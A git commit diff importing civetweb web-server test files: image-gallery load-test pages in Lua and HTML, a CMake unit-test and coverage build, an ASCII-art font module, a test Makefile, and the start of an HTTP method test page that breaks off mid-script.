Import civetweb ans jsoncpp

This commit is contained in:
2016-02-27 00:07:26 +01:00
parent 5ed9eb9715
commit 3bc376da33
1153 changed files with 554633 additions and 0 deletions

View File

@@ -0,0 +1 @@
abc123

View File

@@ -0,0 +1,199 @@
mg.write("HTTP/1.1 200 OK\r\n")
mg.write("Connection: close\r\n")
mg.write("Content-Type: text/html; charset=utf-8\r\n")
mg.write("\r\n")
t = os.time()
if not mg.request_info.query_string then
cnt = 1000
else
cnt = tonumber(mg.get_var(mg.request_info.query_string, "cnt"))
end
cnt = 100*math.floor(cnt/100)
mg.write([[
<html>
<head>
<title>]] .. cnt .. [[ images</title>
<script type="text/javascript">
var startLoad = Date.now();
window.onload = function () {
var loadTime = (Date.now()-startLoad) + " ms";
document.getElementById('timing').innerHTML = loadTime;
}
</script>
</head>
<body>
<h1>A large gallery of small images:</h1>
<p>
]])
for s=0,(cnt/100)-1 do
local ts = (tostring(t) .. tostring(s))
mg.write([[
<h2>page ]]..s..[[</h2>
<table>
<tr>
<td><img src="imagetest/00.png?ts=]]..ts..[["></td>
<td><img src="imagetest/01.png?ts=]]..ts..[["></td>
<td><img src="imagetest/02.png?ts=]]..ts..[["></td>
<td><img src="imagetest/03.png?ts=]]..ts..[["></td>
<td><img src="imagetest/04.png?ts=]]..ts..[["></td>
<td><img src="imagetest/05.png?ts=]]..ts..[["></td>
<td><img src="imagetest/06.png?ts=]]..ts..[["></td>
<td><img src="imagetest/07.png?ts=]]..ts..[["></td>
<td><img src="imagetest/08.png?ts=]]..ts..[["></td>
<td><img src="imagetest/09.png?ts=]]..ts..[["></td>
</tr>
]])
mg.write([[
<tr>
<td><img src="imagetest/10.png?ts=]]..ts..[["></td>
<td><img src="imagetest/11.png?ts=]]..ts..[["></td>
<td><img src="imagetest/12.png?ts=]]..ts..[["></td>
<td><img src="imagetest/13.png?ts=]]..ts..[["></td>
<td><img src="imagetest/14.png?ts=]]..ts..[["></td>
<td><img src="imagetest/15.png?ts=]]..ts..[["></td>
<td><img src="imagetest/16.png?ts=]]..ts..[["></td>
<td><img src="imagetest/17.png?ts=]]..ts..[["></td>
<td><img src="imagetest/18.png?ts=]]..ts..[["></td>
<td><img src="imagetest/19.png?ts=]]..ts..[["></td>
</tr>
]])
mg.write([[
<tr>
<td><img src="imagetest/20.png?ts=]]..ts..[["></td>
<td><img src="imagetest/21.png?ts=]]..ts..[["></td>
<td><img src="imagetest/22.png?ts=]]..ts..[["></td>
<td><img src="imagetest/23.png?ts=]]..ts..[["></td>
<td><img src="imagetest/24.png?ts=]]..ts..[["></td>
<td><img src="imagetest/25.png?ts=]]..ts..[["></td>
<td><img src="imagetest/26.png?ts=]]..ts..[["></td>
<td><img src="imagetest/27.png?ts=]]..ts..[["></td>
<td><img src="imagetest/28.png?ts=]]..ts..[["></td>
<td><img src="imagetest/29.png?ts=]]..ts..[["></td>
</tr>
]])
mg.write([[
<tr>
<td><img src="imagetest/20.png?ts=]]..ts..[["></td>
<td><img src="imagetest/21.png?ts=]]..ts..[["></td>
<td><img src="imagetest/22.png?ts=]]..ts..[["></td>
<td><img src="imagetest/23.png?ts=]]..ts..[["></td>
<td><img src="imagetest/24.png?ts=]]..ts..[["></td>
<td><img src="imagetest/25.png?ts=]]..ts..[["></td>
<td><img src="imagetest/26.png?ts=]]..ts..[["></td>
<td><img src="imagetest/27.png?ts=]]..ts..[["></td>
<td><img src="imagetest/28.png?ts=]]..ts..[["></td>
<td><img src="imagetest/29.png?ts=]]..ts..[["></td>
</tr>
]])
mg.write([[
<tr>
<td><img src="imagetest/30.png?ts=]]..ts..[["></td>
<td><img src="imagetest/31.png?ts=]]..ts..[["></td>
<td><img src="imagetest/32.png?ts=]]..ts..[["></td>
<td><img src="imagetest/33.png?ts=]]..ts..[["></td>
<td><img src="imagetest/34.png?ts=]]..ts..[["></td>
<td><img src="imagetest/35.png?ts=]]..ts..[["></td>
<td><img src="imagetest/36.png?ts=]]..ts..[["></td>
<td><img src="imagetest/37.png?ts=]]..ts..[["></td>
<td><img src="imagetest/38.png?ts=]]..ts..[["></td>
<td><img src="imagetest/39.png?ts=]]..ts..[["></td>
</tr>
]])
mg.write([[
<tr>
<td><img src="imagetest/40.png?ts=]]..ts..[["></td>
<td><img src="imagetest/41.png?ts=]]..ts..[["></td>
<td><img src="imagetest/42.png?ts=]]..ts..[["></td>
<td><img src="imagetest/43.png?ts=]]..ts..[["></td>
<td><img src="imagetest/44.png?ts=]]..ts..[["></td>
<td><img src="imagetest/45.png?ts=]]..ts..[["></td>
<td><img src="imagetest/46.png?ts=]]..ts..[["></td>
<td><img src="imagetest/47.png?ts=]]..ts..[["></td>
<td><img src="imagetest/48.png?ts=]]..ts..[["></td>
<td><img src="imagetest/49.png?ts=]]..ts..[["></td>
</tr>
]])
mg.write([[
<tr>
<td><img src="imagetest/50.png?ts=]]..ts..[["></td>
<td><img src="imagetest/51.png?ts=]]..ts..[["></td>
<td><img src="imagetest/52.png?ts=]]..ts..[["></td>
<td><img src="imagetest/53.png?ts=]]..ts..[["></td>
<td><img src="imagetest/54.png?ts=]]..ts..[["></td>
<td><img src="imagetest/55.png?ts=]]..ts..[["></td>
<td><img src="imagetest/56.png?ts=]]..ts..[["></td>
<td><img src="imagetest/57.png?ts=]]..ts..[["></td>
<td><img src="imagetest/58.png?ts=]]..ts..[["></td>
<td><img src="imagetest/59.png?ts=]]..ts..[["></td>
</tr>
]])
mg.write([[
<tr>
<td><img src="imagetest/60.png?ts=]]..ts..[["></td>
<td><img src="imagetest/61.png?ts=]]..ts..[["></td>
<td><img src="imagetest/62.png?ts=]]..ts..[["></td>
<td><img src="imagetest/63.png?ts=]]..ts..[["></td>
<td><img src="imagetest/64.png?ts=]]..ts..[["></td>
<td><img src="imagetest/65.png?ts=]]..ts..[["></td>
<td><img src="imagetest/66.png?ts=]]..ts..[["></td>
<td><img src="imagetest/67.png?ts=]]..ts..[["></td>
<td><img src="imagetest/68.png?ts=]]..ts..[["></td>
<td><img src="imagetest/69.png?ts=]]..ts..[["></td>
</tr>
]])
mg.write([[
<tr>
<td><img src="imagetest/70.png?ts=]]..ts..[["></td>
<td><img src="imagetest/71.png?ts=]]..ts..[["></td>
<td><img src="imagetest/72.png?ts=]]..ts..[["></td>
<td><img src="imagetest/73.png?ts=]]..ts..[["></td>
<td><img src="imagetest/74.png?ts=]]..ts..[["></td>
<td><img src="imagetest/75.png?ts=]]..ts..[["></td>
<td><img src="imagetest/76.png?ts=]]..ts..[["></td>
<td><img src="imagetest/77.png?ts=]]..ts..[["></td>
<td><img src="imagetest/78.png?ts=]]..ts..[["></td>
<td><img src="imagetest/79.png?ts=]]..ts..[["></td>
</tr>
]])
mg.write([[
<tr>
<td><img src="imagetest/80.png?ts=]]..ts..[["></td>
<td><img src="imagetest/81.png?ts=]]..ts..[["></td>
<td><img src="imagetest/82.png?ts=]]..ts..[["></td>
<td><img src="imagetest/83.png?ts=]]..ts..[["></td>
<td><img src="imagetest/84.png?ts=]]..ts..[["></td>
<td><img src="imagetest/85.png?ts=]]..ts..[["></td>
<td><img src="imagetest/86.png?ts=]]..ts..[["></td>
<td><img src="imagetest/87.png?ts=]]..ts..[["></td>
<td><img src="imagetest/88.png?ts=]]..ts..[["></td>
<td><img src="imagetest/89.png?ts=]]..ts..[["></td>
</tr>
]])
mg.write([[
<tr>
<td><img src="imagetest/90.png?ts=]]..ts..[["></td>
<td><img src="imagetest/91.png?ts=]]..ts..[["></td>
<td><img src="imagetest/92.png?ts=]]..ts..[["></td>
<td><img src="imagetest/93.png?ts=]]..ts..[["></td>
<td><img src="imagetest/94.png?ts=]]..ts..[["></td>
<td><img src="imagetest/95.png?ts=]]..ts..[["></td>
<td><img src="imagetest/96.png?ts=]]..ts..[["></td>
<td><img src="imagetest/97.png?ts=]]..ts..[["></td>
<td><img src="imagetest/98.png?ts=]]..ts..[["></td>
<td><img src="imagetest/99.png?ts=]]..ts..[["></td>
</tr>
</table>
]])
end
mg.write([[
</p>
<p id="timing">
Test case: all images are displayed.
</p>
</body>
</html>
]])

View File

@@ -0,0 +1,168 @@
<html>
<!-- Test case description: -->
<!-- This test contains 100 small images in a table. -->
<!-- Once a browser opens the html file, it will request -->
<!-- all these images from the server very quickly. -->
<!-- Depending on the "keep-alive" settings, it will -->
<!-- either open/close 100 connections quite rapidly -->
<!-- if keep-alive=no, or otherwise establish only a few -->
<!-- connections, typically one or two, and reuse them. -->
<!-- If the test succeeds, all 100 images are displayed. -->
<!-- The loading time is measured automatically in the -->
<!-- browser using JavaScript. Note that the load times -->
<!-- also differs between HTTP and HTTPS. -->
<head>
<title>100 images</title>
<script type="text/javascript">
var startLoad = Date.now();
window.onload = function () {
var loadTime = (Date.now()-startLoad) + " ms";
document.getElementById('timing').innerHTML = loadTime;
}
</script>
</head>
<body>
<h1>A gallery of small images:</h1>
<p>
<table>
<tr>
<td><img src="imagetest/00.png"></td>
<td><img src="imagetest/01.png"></td>
<td><img src="imagetest/02.png"></td>
<td><img src="imagetest/03.png"></td>
<td><img src="imagetest/04.png"></td>
<td><img src="imagetest/05.png"></td>
<td><img src="imagetest/06.png"></td>
<td><img src="imagetest/07.png"></td>
<td><img src="imagetest/08.png"></td>
<td><img src="imagetest/09.png"></td>
</tr>
<tr>
<td><img src="imagetest/10.png"></td>
<td><img src="imagetest/11.png"></td>
<td><img src="imagetest/12.png"></td>
<td><img src="imagetest/13.png"></td>
<td><img src="imagetest/14.png"></td>
<td><img src="imagetest/15.png"></td>
<td><img src="imagetest/16.png"></td>
<td><img src="imagetest/17.png"></td>
<td><img src="imagetest/18.png"></td>
<td><img src="imagetest/19.png"></td>
</tr>
<tr>
<td><img src="imagetest/20.png"></td>
<td><img src="imagetest/21.png"></td>
<td><img src="imagetest/22.png"></td>
<td><img src="imagetest/23.png"></td>
<td><img src="imagetest/24.png"></td>
<td><img src="imagetest/25.png"></td>
<td><img src="imagetest/26.png"></td>
<td><img src="imagetest/27.png"></td>
<td><img src="imagetest/28.png"></td>
<td><img src="imagetest/29.png"></td>
</tr>
<tr>
<td><img src="imagetest/20.png"></td>
<td><img src="imagetest/21.png"></td>
<td><img src="imagetest/22.png"></td>
<td><img src="imagetest/23.png"></td>
<td><img src="imagetest/24.png"></td>
<td><img src="imagetest/25.png"></td>
<td><img src="imagetest/26.png"></td>
<td><img src="imagetest/27.png"></td>
<td><img src="imagetest/28.png"></td>
<td><img src="imagetest/29.png"></td>
</tr>
<tr>
<td><img src="imagetest/30.png"></td>
<td><img src="imagetest/31.png"></td>
<td><img src="imagetest/32.png"></td>
<td><img src="imagetest/33.png"></td>
<td><img src="imagetest/34.png"></td>
<td><img src="imagetest/35.png"></td>
<td><img src="imagetest/36.png"></td>
<td><img src="imagetest/37.png"></td>
<td><img src="imagetest/38.png"></td>
<td><img src="imagetest/39.png"></td>
</tr>
<tr>
<td><img src="imagetest/40.png"></td>
<td><img src="imagetest/41.png"></td>
<td><img src="imagetest/42.png"></td>
<td><img src="imagetest/43.png"></td>
<td><img src="imagetest/44.png"></td>
<td><img src="imagetest/45.png"></td>
<td><img src="imagetest/46.png"></td>
<td><img src="imagetest/47.png"></td>
<td><img src="imagetest/48.png"></td>
<td><img src="imagetest/49.png"></td>
</tr>
<tr>
<td><img src="imagetest/50.png"></td>
<td><img src="imagetest/51.png"></td>
<td><img src="imagetest/52.png"></td>
<td><img src="imagetest/53.png"></td>
<td><img src="imagetest/54.png"></td>
<td><img src="imagetest/55.png"></td>
<td><img src="imagetest/56.png"></td>
<td><img src="imagetest/57.png"></td>
<td><img src="imagetest/58.png"></td>
<td><img src="imagetest/59.png"></td>
</tr>
<tr>
<td><img src="imagetest/60.png"></td>
<td><img src="imagetest/61.png"></td>
<td><img src="imagetest/62.png"></td>
<td><img src="imagetest/63.png"></td>
<td><img src="imagetest/64.png"></td>
<td><img src="imagetest/65.png"></td>
<td><img src="imagetest/66.png"></td>
<td><img src="imagetest/67.png"></td>
<td><img src="imagetest/68.png"></td>
<td><img src="imagetest/69.png"></td>
</tr>
<tr>
<td><img src="imagetest/70.png"></td>
<td><img src="imagetest/71.png"></td>
<td><img src="imagetest/72.png"></td>
<td><img src="imagetest/73.png"></td>
<td><img src="imagetest/74.png"></td>
<td><img src="imagetest/75.png"></td>
<td><img src="imagetest/76.png"></td>
<td><img src="imagetest/77.png"></td>
<td><img src="imagetest/78.png"></td>
<td><img src="imagetest/79.png"></td>
</tr>
<tr>
<td><img src="imagetest/80.png"></td>
<td><img src="imagetest/81.png"></td>
<td><img src="imagetest/82.png"></td>
<td><img src="imagetest/83.png"></td>
<td><img src="imagetest/84.png"></td>
<td><img src="imagetest/85.png"></td>
<td><img src="imagetest/86.png"></td>
<td><img src="imagetest/87.png"></td>
<td><img src="imagetest/88.png"></td>
<td><img src="imagetest/89.png"></td>
</tr>
<tr>
<td><img src="imagetest/90.png"></td>
<td><img src="imagetest/91.png"></td>
<td><img src="imagetest/92.png"></td>
<td><img src="imagetest/93.png"></td>
<td><img src="imagetest/94.png"></td>
<td><img src="imagetest/95.png"></td>
<td><img src="imagetest/96.png"></td>
<td><img src="imagetest/97.png"></td>
<td><img src="imagetest/98.png"></td>
<td><img src="imagetest/99.png"></td>
</tr>
</table>
</p>
<p id="timing">
Test case: all images are displayed.
</p>
</body>
</html>

View File

@@ -0,0 +1,196 @@
# Determine if we should print to the output
if (CIVETWEB_ENABLE_THIRD_PARTY_OUTPUT)
set(THIRD_PARTY_LOGGING 0)
else()
set(THIRD_PARTY_LOGGING 1)
endif()
# We use the check unit testing framework for our C unit tests
include(ExternalProject)
ExternalProject_Add(check-unit-test-framework
DEPENDS c-library
URL "https://downloads.sourceforge.net/project/check/check/${CIVETWEB_CHECK_VERSION}/check-${CIVETWEB_CHECK_VERSION}.tar.gz"
URL_MD5 ${CIVETWEB_CHECK_MD5_HASH}
PREFIX "${CIVETWEB_THIRD_PARTY_DIR}"
BUILD_IN_SOURCE 1
PATCH_COMMAND ${CMAKE_COMMAND}
-DSOURCE_DIR=<SOURCE_DIR>
-DBINARY_DIR=<BINARY_DIR>
-DINSTALL_DIR=<INSTALL_DIR>
-DVERSION=${CIVETWEB_CHECK_VERSION}
-P ${CMAKE_SOURCE_DIR}/cmake/check/patch.cmake
CMAKE_ARGS
"-DCMAKE_BUILD_TYPE=Release"
"-DCMAKE_C_COMPILER=${CMAKE_C_COMPILER}"
"-DCMAKE_INSTALL_PREFIX=<INSTALL_DIR>"
LOG_DOWNLOAD ${THIRD_PARTY_LOGGING}
LOG_UPDATE ${THIRD_PARTY_LOGGING}
LOG_CONFIGURE ${THIRD_PARTY_LOGGING}
LOG_BUILD ${THIRD_PARTY_LOGGING}
LOG_TEST ${THIRD_PARTY_LOGGING}
LOG_INSTALL ${THIRD_PARTY_LOGGING})
ExternalProject_Get_Property(check-unit-test-framework INSTALL_DIR)
set(CHECK_INSTALL_DIR ${INSTALL_DIR})
unset(INSTALL_DIR)
link_directories("${CHECK_INSTALL_DIR}/lib")
include_directories("${CHECK_INSTALL_DIR}/include")
if (WIN32 AND MINGW)
set(CHECK_LIBRARIES "${CHECK_LIBRARIES};${CHECK_INSTALL_DIR}/lib/libcheck.a")
set(CHECK_LIBRARIES "${CHECK_LIBRARIES};${CHECK_INSTALL_DIR}/lib/libcompat.a")
elseif (WIN32)
set(CHECK_LIBRARIES "${CHECK_LIBRARIES};${CHECK_INSTALL_DIR}/lib/check.lib")
set(CHECK_LIBRARIES "${CHECK_LIBRARIES};${CHECK_INSTALL_DIR}/lib/compat.lib")
else()
set(CHECK_LIBRARIES "${CHECK_INSTALL_DIR}/lib/libcheck.a")
endif()
find_package(LibM)
if (LIBM_FOUND)
set(CHECK_LIBRARIES "${CHECK_LIBRARIES};LIBM::LIBM")
endif()
find_package(LibRt)
if (LIBRT_FOUND)
set(CHECK_LIBRARIES "${CHECK_LIBRARIES};LIBRT::LIBRT")
endif()
# Build the C unit tests
add_library(shared-c-unit-tests STATIC shared.c)
target_include_directories(
shared-c-unit-tests PUBLIC
${PROJECT_SOURCE_DIR}/include)
add_library(public-func-c-unit-tests STATIC public_func.c)
if (BUILD_SHARED_LIBS)
target_compile_definitions(public-func-c-unit-tests PRIVATE CIVETWEB_DLL_IMPORTS)
endif()
target_include_directories(
public-func-c-unit-tests PUBLIC
${PROJECT_SOURCE_DIR}/include)
target_link_libraries(public-func-c-unit-tests c-library ${CHECK_LIBRARIES})
add_dependencies(public-func-c-unit-tests check-unit-test-framework)
add_library(public-server-c-unit-tests STATIC public_server.c)
if (BUILD_SHARED_LIBS)
target_compile_definitions(public-server-c-unit-tests PRIVATE CIVETWEB_DLL_IMPORTS)
endif()
target_include_directories(
public-server-c-unit-tests PUBLIC
${PROJECT_SOURCE_DIR}/include)
target_link_libraries(public-server-c-unit-tests c-library ${CHECK_LIBRARIES})
add_dependencies(public-server-c-unit-tests check-unit-test-framework)
add_library(private-c-unit-tests STATIC private.c)
target_include_directories(
private-c-unit-tests PUBLIC
${PROJECT_SOURCE_DIR}/include)
target_link_libraries(private-c-unit-tests ${CHECK_LIBRARIES})
add_dependencies(private-c-unit-tests check-unit-test-framework)
add_library(exe-c-unit-tests STATIC private_exe.c)
if (BUILD_SHARED_LIBS)
target_compile_definitions(exe-c-unit-tests PRIVATE)
endif()
target_include_directories(
exe-c-unit-tests PUBLIC
${PROJECT_SOURCE_DIR}/include)
target_link_libraries(exe-c-unit-tests c-library ${CHECK_LIBRARIES})
add_dependencies(exe-c-unit-tests check-unit-test-framework)
add_executable(civetweb-c-unit-test main.c)
target_link_libraries(civetweb-c-unit-test
shared-c-unit-tests
public-func-c-unit-tests
public-server-c-unit-tests
private-c-unit-tests
exe-c-unit-tests
${CHECK_LIBRARIES})
add_dependencies(civetweb-c-unit-test check-unit-test-framework)
# Add a check command that builds the dependent test program
add_custom_target(check
COMMAND ${CMAKE_CTEST_COMMAND}
DEPENDS civetweb-c-unit-test)
# A macro for adding tests
macro(civetweb_add_test suite test_case)
set(test "test-${suite}-${test_case}")
string(TOLOWER "${test}" test)
string(REGEX REPLACE "[^-A-Za-z0-9]" "-" test "${test}")
add_test(
NAME ${test}
COMMAND civetweb-c-unit-test "--test-dir=${CMAKE_CURRENT_SOURCE_DIR}" "--suite=${suite}" "--test-case=${test_case}")
if (WIN32)
string(REPLACE ";" "\\;" test_path "$ENV{PATH}")
set_tests_properties(${test} PROPERTIES
ENVIRONMENT "PATH=${test_path}\\;$<TARGET_FILE_DIR:c-library>")
endif()
endmacro(civetweb_add_test)
# Tests of private functions
civetweb_add_test(Private "HTTP Message")
civetweb_add_test(Private "URL Parsing")
civetweb_add_test(Private "Internal Parsing")
civetweb_add_test(Private "Encode Decode")
civetweb_add_test(Private "Mask Data")
# Public API function tests
civetweb_add_test(PublicFunc "Version")
civetweb_add_test(PublicFunc "Options")
civetweb_add_test(PublicFunc "MIME types")
civetweb_add_test(PublicFunc "strcasecmp")
civetweb_add_test(PublicFunc "URL encoding decoding")
civetweb_add_test(PublicFunc "Cookies and variables")
civetweb_add_test(PublicFunc "MD5")
# Public API server tests
civetweb_add_test(PublicServer "Check test environment")
civetweb_add_test(PublicServer "Start threads")
civetweb_add_test(PublicServer "Start Stop HTTP Server")
civetweb_add_test(PublicServer "Start Stop HTTPS Server")
civetweb_add_test(PublicServer "TLS Server Client")
civetweb_add_test(PublicServer "Server Requests")
# Tests with main.c
civetweb_add_test(EXE "Helper funcs")
# Add the coverage command(s)
if (${CMAKE_BUILD_TYPE} MATCHES "[Cc]overage")
find_program(GCOV_EXECUTABLE gcov)
find_program(LCOV_EXECUTABLE lcov)
find_program(GENHTML_EXECUTABLE genhtml)
find_program(CTEST_EXECUTABLE ctest)
if (GCOV_EXECUTABLE AND LCOV_EXECUTABLE AND GENHTML_EXECUTABLE AND CTEST_EXECUTABLE AND HAVE_C_FLAG_COVERAGE)
add_custom_command(
OUTPUT ${CMAKE_BINARY_DIR}/lcov/index.html
COMMAND ${LCOV_EXECUTABLE} -q -z -d .
COMMAND ${LCOV_EXECUTABLE} -q --no-external -c -b "${CMAKE_SOURCE_DIR}" -d . -o before.lcov -i
COMMAND ${CTEST_EXECUTABLE} --force-new-ctest-process
COMMAND ${LCOV_EXECUTABLE} -q --no-external -c -b "${CMAKE_SOURCE_DIR}" -d . -o after.lcov
COMMAND ${LCOV_EXECUTABLE} -q -a before.lcov -a after.lcov --output-file final.lcov
COMMAND ${LCOV_EXECUTABLE} -q -r final.lcov "'${CMAKE_SOURCE_DIR}/test/*'" -o final.lcov
COMMAND ${GENHTML_EXECUTABLE} final.lcov -o lcov --demangle-cpp --sort -p "${CMAKE_SOURCE_DIR}" -t benchmark
DEPENDS civetweb-c-unit-test
WORKING_DIRECTORY ${CMAKE_BINARY_DIR}
COMMENT "Running LCOV"
)
add_custom_target(coverage
DEPENDS ${CMAKE_BINARY_DIR}/lcov/index.html
COMMENT "LCOV report at lcov/index.html"
)
message(STATUS "Coverage command added")
else()
if (HAVE_C_FLAG_COVERAGE)
set(C_FLAG_COVERAGE_MESSAGE supported)
else()
set(C_FLAG_COVERAGE_MESSAGE unavailable)
endif()
message(WARNING
"Coverage command not available:\n"
" gcov: ${GCOV_EXECUTABLE}\n"
" lcov: ${LCOV_EXECUTABLE}\n"
" genhtml: ${GENHTML_EXECUTABLE}\n"
" ctest: ${CTEST_EXECUTABLE}\n"
" --coverage flag: ${C_FLAG_COVERAGE_MESSAGE}")
endif()
endif()

View File

@@ -0,0 +1,149 @@
-- (c) bel2125, 2010
-- MIT public licence
local letterCode = {
[' '] = {0,0,0,0,0},
['!'] = {0,0,95,0,0},
['"'] = {0,3,4,3,0},
['#'] = {34,127,34,127,34},
['$'] = {36,42,127,42,18},
['%'] = {35,19,8,100,98},
['&'] = {54,73,85,34,80},
["'"] = {0,11,7,0,0},
['('] = {0,28,34,65,0},
[')'] = {0,65,34,28,0},
['*'] = {20,8,62,8,20},
['+'] = {8,8,62,8,8},
[','] = {0,88,56,0,0},
['-'] = {8,8,8,8,8},
['.'] = {0,96,96,0,0},
['/'] = {32,16,8,4,2},
['0'] = {62,81,73,69,62},
['1'] = {0,66,127,64,0},
['2'] = {66,97,81,73,70},
['3'] = {65,73,77,75,49},
['4'] = {24,20,18,127,16},
['5'] = {39,69,69,69,57},
['6'] = {60,74,73,73,48},
['7'] = {1,1,121,5,3},
['8'] = {54,73,73,73,54},
['9'] = {6,73,73,41,30},
[':'] = {0,54,54,0,0},
[';'] = {0,91,59,0,0},
['<'] = {8,20,34,65,0},
['='] = {20,20,20,20,20},
['>'] = {0,65,34,20,8},
['?'] = {2,1,81,9,6},
['@'] = {50,73,121,65,62},
['A'] = {124,18,17,18,124},
['B'] = {65,127,73,73,54},
['C'] = {62,65,65,65,34},
['D'] = {65,127,65,65,62},
['E'] = {127,73,73,73,65},
['F'] = {127,9,9,9,1},
['G'] = {62,65,65,73,57},
['H'] = {127,8,8,8,127},
['I'] = {0,65,127,65,0},
['J'] = {32,64,65,63,1},
['K'] = {127,8,20,34,65},
['L'] = {127,64,64,64,64},
['M'] = {127,2,12,2,127},
['N'] = {127,4,8,16,127},
['O'] = {62,65,65,65,62},
['P'] = {127,9,9,9,6},
['Q'] = {62,65,81,33,94},
['R'] = {127,9,25,41,70},
['S'] = {38,73,73,73,50},
['T'] = {1,1,127,1,1},
['U'] = {63,64,64,64,63},
['V'] = {7,24,96,24,7},
['W'] = {127,32,24,32,127},
['X'] = {99,20,8,20,99},
['Y'] = {3,4,120,4,3},
['Z'] = {97,81,73,69,67},
['['] = {0,127,65,65,0},
['\\'] = {2,4,8,16,32},
[']'] = {0,65,65,127,0},
['^'] = {24,4,2,4,24},
['_'] = {64,64,64,64,64},
['`'] = {0,0,7,11,0},
['a'] = {56,68,68,60,64},
['b'] = {127,72,68,68,56},
['c'] = {56,68,68,68,32},
['d'] = {56,68,68,72,127},
['e'] = {56,84,84,84,24},
['f'] = {0,8,126,9,2},
['g'] = {8,84,84,60,0},
['h'] = {127,4,4,120,0},
['i'] = {0,0,125,0,0},
['j'] = {32,64,68,61,0},
['k'] = {127,16,40,68,0},
['l'] = {0,0,127,0,0},
['m'] = {120,4,120,4,120},
['n'] = {124,8,4,4,120},
['o'] = {56,68,68,68,56},
['p'] = {124,20,20,20,8},
['q'] = {24,36,20,124,64},
['r'] = {124,8,4,4,0},
['s'] = {72,84,84,84,32},
['t'] = {4,62,68,32,0},
['u'] = {60,64,64,32,124},
['v'] = {28,32,64,32,28},
['w'] = {60,64,48,64,60},
['x'] = {68,36,124,72,68},
['y'] = {12,80,80,60,0},
['z'] = {68,100,84,76,68},
['{'] = {0,8,54,65,0},
['|'] = {0,0,119,0,0},
['}'] = {0,65,54,8,0},
['~'] = {8,4,8,16,8},
};
letterCode['('] = {0,60,66,129,0}
letterCode[')'] = {0,129,66,60,0}
letterCode[','] = {0,176,112,0,0}
letterCode[';'] = {0,182,118,0,0}
letterCode['['] = {0,255,129,129,0}
letterCode[']'] = {0,129,129,255,0}
letterCode['_'] = {128,128,128,128,128}
letterCode['g'] = {24,164,164,124,0}
letterCode['j'] = {64,128,132,125,0}
letterCode['p'] = {252,36,36,36,24}
letterCode['q'] = {24,36,36,252,128}
letterCode['y'] = {12,80,80,60,0}
letterCode['{'] = {0,24,102,129,0}
letterCode['}'] = {0,129,102,24,0}
local function HugeLetter(letter)
if letter==' ' then return {" ", " ", " ", " ", " ", " ", " ", " "} end
local code = letterCode[letter]
local str = {"", "", "", "", "", "", "", ""}
for i=1,5 do
local n = code[i]
if n and n>0 then
for b=1,8 do
if bit32.btest(n, bit32.lshift(1, b-1)) then str[b] = str[b] .. letter else str[b] = str[b] .. ' ' end
end
end
end
return str
end
function HugeText(str)
local txt = {"", "", "", "", "", "", "", ""}
for i=1,string.len(str) do
local s = HugeLetter(str:sub(i,i))
for b=1,8 do
if i>1 then
txt[b] = txt[b] .. " " .. s[b]
else
txt[b] = txt[b] .. s[b]
end
end
end
return txt
end
return HugeText

View File

@@ -0,0 +1,88 @@
#
# Copyright (c) 2013 No Face Press, LLC
# License http://opensource.org/licenses/mit-license.php MIT License
#
#This makefile is used to test the other Makefiles
TOP = ..
TEST_OUT = test_install
include $(TOP)/resources/Makefile.in-os
all: test
test: buildoptions buildlibs buildinstall
test: buildexamples threaded
ifeq ($(TARGET_OS),OSX)
test: dmg
endif
test: clean
@echo PASSED
dmg:
@echo "================"
$(MAKE) -C $(TOP) -f Makefile.osx clean package
buildexamples:
@echo "================"
$(MAKE) -C $(TOP)/examples/embedded_c clean all
$(MAKE) -C $(TOP)/examples/embedded_c clean
@echo "================"
$(MAKE) -C $(TOP)/examples/embedded_cpp clean all
$(MAKE) -C $(TOP)/examples/embedded_cpp clean
@echo "================"
$(MAKE) -C $(TOP)/examples/chat clean all
$(MAKE) -C $(TOP)/examples/chat clean
@echo "================"
$(MAKE) -C $(TOP)/examples/hello clean all
$(MAKE) -C $(TOP)/examples/hello clean
@echo "================"
$(MAKE) -C $(TOP)/examples/post clean all
$(MAKE) -C $(TOP)/examples/post clean
@echo "================"
$(MAKE) -C $(TOP)/examples/upload clean all
$(MAKE) -C $(TOP)/examples/upload clean
@echo "================"
$(MAKE) -C $(TOP)/examples/websocket clean all
$(MAKE) -C $(TOP)/examples/websocket clean
buildoptions:
@echo "================"
$(MAKE) -C $(TOP) clean build
@echo "================"
$(MAKE) -C $(TOP) clean build WITH_IPV6=1
@echo "================"
$(MAKE) -C $(TOP) clean build WITH_WEBSOCKET=1
@echo "================"
$(MAKE) -C $(TOP) clean build WITH_LUA=1
@echo "================"
$(MAKE) -C $(TOP) clean build WITH_LUA=1 WITH_IPV6=1 WITH_WEBSOCKET=1
threaded:
@echo "================"
$(MAKE) -j 8 -C $(TOP) clean WITH_LUA=1
$(MAKE) -j 8 -C $(TOP) build WITH_LUA=1
buildinstall:
@echo "================"
$(MAKE) -C $(TOP) clean install PREFIX=$(TEST_OUT)
buildlibs:
@echo "================"
$(MAKE) -C $(TOP) clean lib
@echo "================"
$(MAKE) -C $(TOP) clean slib
@echo "================"
$(MAKE) -C $(TOP) clean lib WITH_CPP=1
@echo "================"
$(MAKE) -C $(TOP) clean slib WITH_CPP=1
clean:
@echo "================"
$(MAKE) -C $(TOP) clean
rm -rf $(TOP)/$(TEST_OUT)
.PHONY: all buildoptions buildinstall clean os linux

View File

@@ -0,0 +1,200 @@
<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<title>HTTP method test</title>
<style type="text/css" media="screen">
body {background:#eee; margin:0%; padding:0%; padding-top:0%; padding-left:1%}
.cform {margin:0%; padding:0%; padding-top:0%; padding-left:2%;}
h3 {margin:0%; padding:0%; padding-top:0%; padding-left:0%;}
td {vertical-align:top; text-align:left;}
</style>
<script type="text/javascript"><![CDATA[
function getParams() {
var result = {};
var kvPairs = location.search.slice(1).split('&');
kvPairs.forEach(
function(kvPair) {
kvPair = kvPair.split('=');
result[kvPair[0]] = kvPair[1] || '';
}
);
return result;
}
function noBody() {
document.getElementById("body_none").checked = true;
}
function load() {
var params = getParams();
var method = params["method"];
if (!method) {
method = "GET";
}
var path = params["path"];
if (!path) {
path = "";
}
var elem = document.getElementById('h1');
elem.innerHTML = "HTTP method test page";
document.getElementById("proto_http").checked = (window.location.protocol != "https:");
document.getElementById("proto_https").checked = (window.location.protocol == "https:");
document.getElementById("server").value = location.host;
document.getElementById("resource").value = path;
setRadioValue("method", method);
noBody();
}
function setRadioValue(elmname, value) {
var elms = document.getElementsByName(elmname);
var len = elms.length;
var ret = false;
for (var i=0; i<len; i++) {
elms[i].checked = (elms[i].value == value);
